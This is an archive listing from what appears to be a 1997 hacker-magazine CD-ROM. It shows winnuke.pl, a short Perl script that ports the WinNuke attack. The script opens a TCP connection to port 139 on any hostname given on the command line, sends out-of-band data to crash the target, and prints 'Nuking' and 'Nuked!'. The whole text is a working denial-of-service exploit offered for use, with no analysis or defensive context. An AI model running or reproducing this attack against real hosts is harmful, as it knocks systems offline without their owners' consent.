home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / HackAddict™ Magazine / HackAddict 07 / Files / winnuke.pl < prev   
Encoding:
Perl Script  |  1997-10-27  |  602 b   |  22 lines  |  [TEXT/R*ch]

  1. #!/opt/bin/perl
  2. # Ghent - ghent@bounty-hunters.com - Perl version of winnuke.c by _eci
  3. use strict;
  4. use Socket;
  5. my($h,$p,$in_addr,$proto,$addr);
  6. $h = "$ARGV[0]";
  7. $p = 139 if (!$ARGV[1]);
  8. if (!$h) {print "A hostname must be provided. Ex: www.microsoft.com\n";}
  9. $in_addr = (gethostbyname($h))[4];
  10. $addr = sockaddr_in($p,$in_addr);
  11. $proto = getprotobyname('tcp');
  12. #print "in_addr $in_addr addr $addr proto $proto\n";
  13. socket(S, AF_INET, SOCK_STREAM, $proto) || die $!;
  14. connect(S,$addr) or die $!;
  15. select S;
  16. $| = 1;
  17. select STDOUT;
  18. print "Nuking: $h:$p\n";
  19. send S,"Sucker",MSG_OOB;
  20. print "Nuked!\n";
  21. close S;
  22.